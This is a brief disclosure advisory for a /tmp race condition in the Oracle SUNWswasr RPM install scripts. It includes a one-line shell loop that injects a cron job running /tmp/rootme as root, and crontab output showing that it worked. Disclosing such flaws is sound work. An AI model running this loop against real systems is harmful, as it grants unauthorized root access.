SUNWswasr RPM post install /tmp race condition
CVE ID(s):
CVE-none
Notified: 2013-01-31
Description:
Auto Service Request (ASR) is a secure, scalable, customer-installable software feature of warranty and Oracle Support Services that provides auto-case generation when common hardware component faults occur. ASR is designed to enable faster problem resolution by eliminating the need to initiate contact with Oracle Support Services for common hardware component failures, reducing both the number of phone calls needed and overall phone time required. ASR also simplifies support operations by using electronic diagnostic data. Easily installed and deployed, ASR is completely controlled by you, the customer, to ensure security. ASR is applicable only for component faults. Not all component failures are covered, though the most common components (such as disk, fan, and power supplies) are covered.
Exploit:
I was able to inject my own cronjob in as root with the following simple PoC: $ while (true) ;do echo "* * * * * /tmp/rootme" >> /tmp/crontab_edit; done [root@oracle-lnx-lab02 ~]# crontab -l 0,12,24,36,48 * * * * /opt/SUNWsasm/bin/sasm start-instance > /dev/null 2>&1 * * * * * /tmp/rootme <--- prepended and contains our malicious shell/binary, see exploit above. ##Cronjob entry for ASR Auto Rules Update 7 3 * * * /opt/SUNWswasr/bin/update_rules.sh The uninstall script is just as sloppy: [C] F /tmp/asrtab.?? [U] F /tmp/asrtab.?? [C] F /tmp/asrtab.??? [U] F /tmp/asrtab.??? [C] F /tmp/asrtab.??? [U] F /tmp/asrtab.??? [D] F /tmp/asrtab.?? did they mean to use $$ for process Pid?
Notes:
89823